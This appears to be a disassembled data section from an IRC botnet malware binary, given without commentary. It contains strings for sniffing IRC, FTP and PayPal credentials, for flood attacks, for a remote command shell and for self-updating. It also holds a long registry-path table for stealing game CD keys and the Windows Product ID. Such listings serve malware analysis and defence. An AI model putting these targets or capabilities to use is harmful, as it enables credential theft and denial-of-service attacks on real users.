dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h
dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h
dd 3026666h, 2Dh, 4E53505Bh, 5D464649h, 0
dd 234032Dh, 696E7370h, 3026666h, 5357202Dh, 636F4941h
dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h
dd 64252064h, 0
dd 234032Dh, 696E7370h, 3026666h, 6962202Dh, 2928646Eh
dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
dd 0
dd 234032Dh, 696E7370h, 3026666h
aSocketFailedRe db '- socket() failed, returned %d',0
align 10h
aHashin db ':!hashin',0 ; DATA XREF: sub_412360+103o
align 4
a_hashin db ':.hashin',0 ; DATA XREF: sub_412360+EEo
align 4
aIdent_0 db ':!ident',0 ; DATA XREF: sub_412360+D9o
a_ident db ':.ident',0 ; DATA XREF: sub_412360+C8o
a_login db ':.Login',0 ; DATA XREF: sub_412360+B7o
aLogin db ':!Login',0 ; DATA XREF: sub_412360+A6o
aLogin_0 db ':!login',0 ; DATA XREF: sub_412360+95o
a_login_0 db ':.login',0 ; DATA XREF: sub_412360+84o
a366 db '366 ',0 ; DATA XREF: sub_412360+73o
align 10h
a302_0 db '302 ',0 ; DATA XREF: sub_412360:loc_4123C2o
align 4
aJoin_0 db 'JOIN #',0 ; DATA XREF: sub_412360+4Do
align 10h
aPsniff_0 db 'PSNIFF//',0 ; DATA XREF: sub_412360+3Co
align 4
aPsniff_1 db '[PSNIFF]:',0 ; DATA XREF: sub_412360+2Bo
align 4
aBotSniff db 'Bot sniff',0 ; DATA XREF: sub_412360+5o
align 4
aYouAreNowAnIrc db 'You are now an IRC Operator',0 ; DATA XREF: sub_412477+62o
aOper db 'oper ',0 ; DATA XREF: sub_412477+51o
align 4
aNick_1 db 'NICK ',0 ; DATA XREF: sub_412477:loc_4124B7o
; sub_4124ED+2Bo
align 10h
aOper_0 db 'OPER ',0 ; DATA XREF: sub_412477+2Bo
align 4
aIrcSniff db 'IRC sniff',0 ; DATA XREF: sub_412477+5o
align 4
aPass_0 db 'PASS ',0 ; DATA XREF: sub_4124ED+73o
align 4
aUser_3 db 'USER ',0 ; DATA XREF: sub_4124ED+62o
align 4
a230 db '230 ',0 ; DATA XREF: sub_4124ED:loc_41253Eo
align 4
a220 db '220 ',0 ; DATA XREF: sub_4124ED+3Co
align 4
aFtpSniff db 'FTP sniff',0 ; DATA XREF: sub_4124ED+5o
align 10h
aSetCookie db 'Set-Cookie:',0 ; DATA XREF: sub_412574+73o
aPaypal_com db 'paypal.com',0 ; DATA XREF: sub_412574+62o
align 4
aPaypal_com_0 db 'PAYPAL.COM',0 ; DATA XREF: sub_412574+51o
align 4
aPaypal_0 db 'PAYPAL',0 ; DATA XREF: sub_412574:loc_4125B4o
align 4
aPaypal db 'paypal',0 ; DATA XREF: sub_412574+2Bo
align 4
aHttpSniff db 'HTTP sniff',0 ; DATA XREF: sub_412574+5o
align 10h
aOpenssh_2 db 'OpenSSH_2',0 ; DATA XREF: sub_4125FB+51o
align 4
aServUFtpServer db 'Serv-U FTP Server',0 ; DATA XREF: sub_4125FB:loc_41263Bo
align 10h
aOpenssl0_9_6 db 'OpenSSL/0.9.6',0 ; DATA XREF: sub_4125FB+2Bo
align 10h
aVulnSniff db 'VULN sniff',0 ; DATA XREF: sub_4125FB+5o
align 4
unk_43598C db 2Dh ; - ; DATA XREF: sub_412660+3ECo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aVulnSniffSDToS db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
align 4
unk_4359C4 db 2Dh ; - ; DATA XREF: sub_412660+382o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aHttpSniffSDToS db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
align 4
unk_4359FC db 2Dh ; - ; DATA XREF: sub_412660+351o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aFtpSniffSDToSD db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_435A30 db 2Dh ; - ; DATA XREF: sub_412660+31Bo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aIrcSniffSDToSD db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_435A64 db 2Dh ; - ; DATA XREF: sub_412660+2E2o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aBotSniffSDToSD db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_435A98 db 2Dh ; - ; DATA XREF: sub_412660+14Bo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aWsaioctlFailed db '- WSAIoctl() failed, returned %d',0
align 4
unk_435AC8 db 2Dh ; - ; DATA XREF: sub_412660+C5o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aBindFailedRetu db '- bind() failed, returned %d',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aDoneWithFloodA db 'done with flood at %iKB/sec',0
dword_435B1C dd 234032Dh, 736F6464h, 202D0302h, 646E6573h, 72726520h
; DATA XREF: sub_412B08+302o
dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h
dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh
dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h
dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0
dd 234032Dh, 706D6369h, 202D0302h, 6F727265h, 65732072h
dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h
dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch
dd 6E727574h, 25206465h, 64h, 234032Dh, 706D6369h, 202D0302h
dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh
dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h
dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
dd 0
dd 234032Dh, 706D6369h, 202D0302h, 6B636F73h, 29287465h
dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
dd 0
dd 234032Dh, 676E6970h, 202D0302h, 696E6966h, 64656873h
dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh
dd 0
dd 234032Dh, 676E6970h, 202D0302h, 6F727265h, 65732072h
dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh
dd 2706475h, 66202D03h, 73696E69h, 20646568h, 646E6573h
dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh
dd 2706475h, 65202D03h, 726F7272h, 6E657320h, 676E6964h
dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h
dd 3026E79h, 6F44202Dh, 7720656Eh, 20687469h, 6F6F6C66h
dd 25282064h, 2F424B69h, 29636573h, 0
db 2Dh ; -
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aDoneWithFloodI db '- Done with flood (%iKB/sec).',0
align 4
dword_435D44 dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h
; DATA XREF: sub_41386B+27Do
dd 3C203A72h, 2E3E6425h, 0
dd 234032Dh, 67726174h, 3023361h, 6F44202Dh, 7720656Eh
dd 20687469h, 6F6F6C66h, 2E64h, 234032Dh, 2706374h, 44202D03h
dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h
dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h
dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h
dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h
dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h
dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h
dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch
dd 2Eh, 234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h
dd 65677261h, 50492074h, 2Eh, 234032Dh, 2706374h, 45202D03h
dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h
dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h
dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah
dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h
dd 3A64656Eh, 64253C20h, 2E3Eh, 234032Dh, 6E757374h, 2696D61h
dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh
dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0
dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 53202D03h
dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h
dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h
dd 0
dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 45202D03h
dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh
dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h
dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h
dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h
dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h
dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h
dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 46202D03h
dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h
dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h
dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh
dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh
dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h
dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh
dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 49202D03h
dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh
dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h
dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh
dd 2297064h, 45202D03h, 726F7272h, 6C616320h, 676E696Ch
dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h
dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h
dd 2E642520h, 0
db 2Dh ; -
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aErrorCallingSo db '- Error calling socket().',0
align 10h
db 2Dh ; -
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aDoneWithFloodP db 'Done with flood, ports hit: %s',0
align 4
aSD db '%s%d ',0
align 4
dword_436134 dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA XREF: sub_415134+35o
dword_436148 dd 234032Dh, 61696C61h, 696C2073h, 3027473h, 2Dh ; DATA XREF: sub_415134+10o
a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4151AC+60o
align 10h
dword_436180 dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
; DATA XREF: sub_41524C:loc_415281o
dword_436194 dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
; DATA XREF: sub_41524C+20o
dword_4361A8 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
; DATA XREF: ___:00415369o
dd 6574656Ch, 0
dword_4361C4 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
; DATA XREF: ___:004152CCo
dd 676E6974h, 0
aDisplay db 'DISPLAY',0 ; DATA XREF: sub_4153BC+11o
aWindow db 'Window',0 ; DATA XREF: sub_4155F7+23o
; sub_4157F0+26o
align 10h
dd 80000001h
off_4361F4 dd offset aSoftwareValveC ; DATA XREF: sub_415A2F+Cr
; sub_415A2F+21o
; "Software\\Valve\\CounterStrike\\Settings"
dd offset aCdkey ; "CDKey"
dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_436200 dd 2 dup(0) ; DATA XREF: sub_415A2F+26o
dd 80000001h, 437384h, 437378h, 437368h, 2 dup(0)
dd 80000001h, 437348h, 437344h, 437330h, 2 dup(0)
dd 80000001h, 43730Ch, 437344h, 437300h, 2 dup(0)
dd 80000001h, 4372DCh, 4372D4h, 4372C0h, 2 dup(0)
dd 80000001h, 4372ACh, 43729Ch, 437280h, 2 dup(0)
dd 80000001h, 43723Ch, 4373C4h, 437228h, 2 dup(0)
dd 80000002h, 4371FCh, 4371F0h, 4371D0h, 2 dup(0)
dd 80000002h, 43719Ch, 4373C4h, 437184h, 2 dup(0)
dd 80000002h, 437150h, 4373C4h, 437138h, 2 dup(0)
dd 80000002h, 437120h, 4373C4h, 437108h, 2 dup(0)
dd 80000002h, 4370CCh, 43D128h, 4370BCh, 2 dup(0)
dd 80000002h, 437084h, 43D128h, 437070h, 2 dup(0)
dd 80000002h, 437024h, 43D128h, 437004h, 2 dup(0)
dd 80000002h, 436FB4h, 43D128h, 436F88h, 2 dup(0)
dd 80000002h, 436F4Ch, 43D128h, 436F38h, 2 dup(0)
dd 80000002h, 436F00h, 43D128h, 436EF0h, 2 dup(0)
dd 80000002h, 436EA0h, 43D128h, 436E74h, 2 dup(0)
dd 80000002h, 436E34h, 43D128h, 436E18h, 2 dup(0)
dd 80000002h, 436DE8h, 43D128h, 436DC8h, 2 dup(0)
dd 80000002h, 436D8Ch, 43D128h, 436D78h, 2 dup(0)
dd 80000002h, 436D30h, 43D128h, 436D10h, 2 dup(0)
dd 80000002h, 436CBCh, 43D128h, 436C8Ch, 2 dup(0)
dd 80000002h, 436C3Ch, 43D128h, 436C10h, 2 dup(0)
dd 80000002h, 436BD0h, 436BC8h, 436BA8h, 2 dup(0)
dd 80000002h, 436B64h, 43D128h, 436B48h, 2 dup(0)
dd 80000002h, 436AFCh, 43D128h, 436AD8h, 2 dup(0)
dd 80000002h, 436AA4h, 43D128h, 436A98h, 2 dup(0)
dd 80000002h, 436A64h, 43D128h, 436A58h, 2 dup(0)
dd 80000002h, 436A24h, 43D128h, 436A18h, 2 dup(0)
dd 80000002h, 4369E4h, 43D128h, 4369D8h, 2 dup(0)
dd 80000002h, 43699Ch, 43D128h, 436988h, 2 dup(0)
dd 80000002h, 43694Ch, 43D128h, 436938h, 2 dup(0)
dd 80000002h, 436908h, 4373C4h, 4368ECh, 2 dup(0)
dd 80000002h, 4368CCh, 4368C4h, 4368A0h, 2 dup(0)
dd 80000002h, 436884h, 4368C4h, 436864h, 2 dup(0)
dd 80000002h, 436844h, 4368C4h, 436820h, 2 dup(0)
dd 80000002h, 436808h, 4368C4h, 436804h, 2 dup(0)
dd 80000002h, 4367E8h, 4367D8h, 4367D0h, 2 dup(0)
dd 80000002h, 43679Ch, 42C218h, 436784h, 2 dup(0)
dd 80000002h, 436748h, 43673Ch, 436714h, 436704h, 4366F0h
dd 80000002h, 4366CCh, 4366C0h, 4366ACh, 43669Ch, 436694h
dd 80000002h, 4366CCh, 4366C0h, 436668h, 43669Ch, 436660h
dd 80000002h, 4366CCh, 4366C0h, 436630h, 43669Ch, 436628h
dd 6 dup(0)
dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
dd 64726564h, 296B7261h, 0
dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
dd 6469746Eh, 2965h, 3179654Bh, 3Dh, 636E776Eh, 79656B64h
dd 696E692Eh, 0
aNeverwinterNig db 'Neverwinter Nights',0
align 10h
aLocation db 'Location',0
align 4
aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0
align 10h
aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0
align 4
aBaseMpSof2key db 'base\mp\sof2key',0
aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0
align 4
aInstallpath db 'InstallPath',0
db 53h
aOftwareActivis db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
align 4
aHiddenDangerou db 'Hidden & Dangerous 2',0
align 4
db 53h
aOftwareIllusio db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
align 10h
aChrome db 'Chrome',0
align 4
aSerialnumber db 'SerialNumber',0
align 4
db 53h
aOftwareTechlan db 'oftware\Techland\Chrome',0
align 4
dd offset word_584F4E
aSoftwareWestwo db 'Software\Westwood\NOX',0
align 10h
aCommandAndConq db 'Command and Conquer: Red Alert 2',0
align 4
db 53h
aOftwareWestwoo db 'oftware\Westwood\Red Alert 2',0
align 4
aCommandAndCo_0 db 'Command and Conquer: Red Alert',0
align 4
db 53h
aOftwareWestw_0 db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0
align 4
aSerial db 'Serial',0
align 4
db 53h
aOftwareWestw_1 db 'oftware\Westwood\Tiberian Sun',0
align 4
aRainbowSixIiiR db 'Rainbow Six III RavenShield',0
db 53h
aOftwareRedStor db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
align 4
aNascarRacing20 db 'Nascar Racing 2003',0
align 4
db 53h
aOftwareElectro db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
align 4
aNascarRacing_0 db 'Nascar Racing 2002',0
align 4
db 53h
aOftwareElect_0 db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
align 4
aNhl2003 db 'NHL 2003',0
align 4
db 53h
aOftwareElect_1 db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
align 4
aNhl2002 db 'NHL 2002',0
align 4
db 53h
aOftwareElect_2 db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
align 4
aFifa2003 db 'FIFA 2003',0
align 4
db 53h
aOftwareElect_3 db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
align 4
aFifa2002 db 'FIFA 2002',0
align 4
db 53h
aOftwareElect_4 db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
align 4
aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0
align 4
db 53h
aOftwareElect_5 db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
db 'on\ergc',0
align 4
aNeedForSpeedUn db 'Need For Speed: Underground',0
db 53h
aOftwareElect_6 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
align 4
aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0
align 4
aErgc db 'ergc',0
align 10h
db 53h
aOftwareElect_7 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
align 10h
aMedalOfHonorAl db 'Medal of Honor: Allied Assault: Spearhead',0
align 4
db 53h
aOftwareElect_8 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
db 'earhead\ergc',0
align 4
aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0
align 4
db 53h
aOftwareElect_9 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
db 'eakthrough\ergc',0
align 10h
aMedalOfHonor_1 db 'Medal of Honor: Allied Assault',0
align 10h
db 53h
aOftwareElec_10 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
db 'gc',0
align 4
aGlobalOperatio db 'Global Operations',0
align 4
db 53h
aOftwareElec_11 db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
align 4
aCommandAndCo_2 db 'Command and Conquer: Generals',0
align 4
db 53h
aOftwareElec_12 db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni db 'James Bond 007: Nightfire',0
align 4
db 53h
aOftwareElec_13 db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3 db 'Command and Conquer: Generals (Zero Hour)',0
align 10h
db 53h
aOftwareElec_14 db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
db 'o Hour\ergc',0
align 10h
aBlackAndWhite db 'Black and White',0
db 53h
aOftwareElec_15 db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
align 4
aBattlefieldVie db 'Battlefield Vietnam',0
db 53h
aOftwareElec_16 db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
align 4
aBattlefield194 db 'Battlefield 1942 (Secret Weapons of WWII)',0
align 4
db 53h
aOftwareElec_17 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
db 'of WWII\ergc',0
align 4
aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0
db 53h
aOftwareElec_18 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
db 'e\ergc',0
align 10h
aBattlefield1_1 db 'Battlefield 1942',0
align 4
db 53h
aOftwareElec_19 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce db 'Freedom Force',0
align 4
db 53h
aOftwareElec_20 db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri db 'IGI 2: Covert Strike',0
align 10h
db 53h
aOftwareIgi2Ret db 'oftware\IGI 2 Retail',0
align 4
aUnrealTourname db 'Unreal Tournament 2004',0
align 10h
db 53h
aOftwareUnrealT db 'oftware\Unreal Technology\Installed Apps\UT2004',0
align 4
aUnrealTourna_0 db 'Unreal Tournament 2003',0
align 4
db 53h
aOftwareUnrea_0 db 'oftware\Unreal Technology\Installed Apps\UT2003',0
align 10h
aMicrosoftWindo db 'Microsoft Windows Product ID',0
align 10h
aProductid db 'ProductId',0
align 4
db 53h
aOftwareMicro_0 db 'oftware\Microsoft\Windows\CurrentVersion',0
align 4
aSoldiersOfAnar db 'Soldiers Of Anarchy',0
aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
align 10h
aLegendsOfMight db 'Legends of Might and Magic',0
align 4
aCustomernumber db 'CustomerNumber',0
align 4
aSoftware3d0Sta db 'Software\3d0\Status',0
aIndustryGiant2 db 'Industry Giant 2',0
align 4
aPrvkey db 'prvkey',0
align 4
aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0
align 10h
aHalfLife db 'Half-Life',0
align 4
aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0
align 10h
aGunmanChronicl db 'Gunman Chronicles',0
align 4
aKey_0 db 'Key',0
aSoftwareValveG db 'Software\Valve\Gunman\Settings',0
align 4
aTheGladiators db 'The Gladiators',0
align 4
aRegnumber db 'RegNumber',0
align 4
aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0
align 4
aCounterStrikeR db 'Counter-Strike (Retail)',0 ; DATA XREF: ___:004361FCo
aCdkey db 'CDKey',0 ; DATA XREF: ___:004361F8o
align 4
aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_4361F4o
align 4
asc_4373F4: ; DATA XREF: sub_415A2F+E9o
; sub_415A2F+F4o
unicode 0, <=>,0
dword_4373F8 dd 234032Dh, 656B6463h, 3027379h, 7325202Dh, 7325203Ah
; DATA XREF: sub_415A2F+2Bo
dd 0
db 2Dh ; -
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToSendTo db '- failed to send to Remote command shell',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToOpenRe db '- failed to open remote command shell',0
align 4
unk_437474 db 2Dh ; - ; DATA XREF: ___:00415F17o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToOpenSo db '- failed to open socket',0
align 4
dword_437498 dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
; DATA XREF: ___:0041617Co
; ___:00416312o
dd 726F72h
unk_4374B0 db 2Dh ; - ; DATA XREF: ___:00416114o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFileSSentToSSB db '- file %s sent to %s (%s bytes).',0
align 4
unk_4374DC db 2Dh ; - ; DATA XREF: ___:0041601Co
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aUnableToOpenSo db '- unable to open socket',0
align 10h
dword_437500 dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
; DATA XREF: ___:00415FE5o
dd 74756Fh
dword_437518 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
; DATA XREF: ___:00415F84o
dd 169h
unk_437530 db 2Dh ; - ; DATA XREF: ___:00415F41o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFileDoesnTExis db '- file doesn',27h,'t exist',0
align 10h
unk_437550 db 2Dh ; - ; DATA XREF: ___:00415E9Co
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToBindTo db '- failed to bind to socket',0
unk_437574 db 2Dh ; - ; DATA XREF: ___:00415E5Eo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToCrea_2 db '- failed to create socket',0
align 4
unk_437598 db 2Dh ; - ; DATA XREF: ___:0041638Do
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceivedSFromS db '- received %s from %s (%s bytes).',0
align 4
unk_4375C4 db 2Dh ; - ; DATA XREF: ___:00416287o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorOpeningSo db '- error opening socket',0
unk_4375E4 db 2Dh ; - ; DATA XREF: ___:00416267o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorOpeningFi db '- error opening file for writing',0
align 10h
aAB db 'a+b',0 ; DATA XREF: ___:00416253o
unk_437614 db 2Dh ; - ; DATA XREF: ___:0041623Fo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorUnableToW db '- error unable to write file to disk',0
align 4
unk_437644 db 2Dh ; - ; DATA XREF: ___:0041688Co
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aBadUrlOrDnsErr db 'bad url or dns error at %s.',0
unk_437670 db 2Dh ; - ; DATA XREF: ___:0041687Eo
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aUpdateFailedEr db 'update failed, error executing %s',0
align 4
unk_4376A4 db 2Dh ; - ; DATA XREF: ___:004167C2o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloaded_1fk db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
align 4
dword_4376E8 dd 234032Dh, 6E776F64h, 64616F6Ch, 202D0302h, 6E65706Fh
; DATA XREF: ___:00416751o
dd 25206465h, 73h
unk_437704 db 2Dh ; - ; DATA XREF: ___:004166DAo
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloaded_1fK db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
align 4
unk_43773C db 2Dh ; - ; DATA XREF: ___:0041665Bo
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aWrongCrcDD_ db 'wrong crc (%d != %d).',0
align 4
unk_437764 db 2Dh ; - ; DATA XREF: ___:004165D1o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aWrongFilesizeD db 'wrong filesize (%d != %d).',0
align 10h
unk_437790 db 2Dh ; - ; DATA XREF: ___:0041658Eo
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aGotUpdateSDkb_ db 'got update %s (%dKB).',0
align 4
unk_4377B8 db 2Dh ; - ; DATA XREF: ___:0041657Co
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloadedSDkb db 'downloaded %s (%dKB)',0
align 10h
unk_4377E0 db 2Dh ; - ; DATA XREF: ___:00416470o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aCouldnTOpenF_0 db 'couldn',27h,'t open file: %s',0
align 4
aUnknown db 'Unknown',0 ; DATA XREF: sub_4169A1:loc_4169E4o
; sub_418EF6+10Ao
aInvalid db 'Invalid',0 ; DATA XREF: sub_4169A1:loc_4169DEo
aDisk db 'Disk',0 ; DATA XREF: sub_4169A1:loc_4169D8o
align 10h
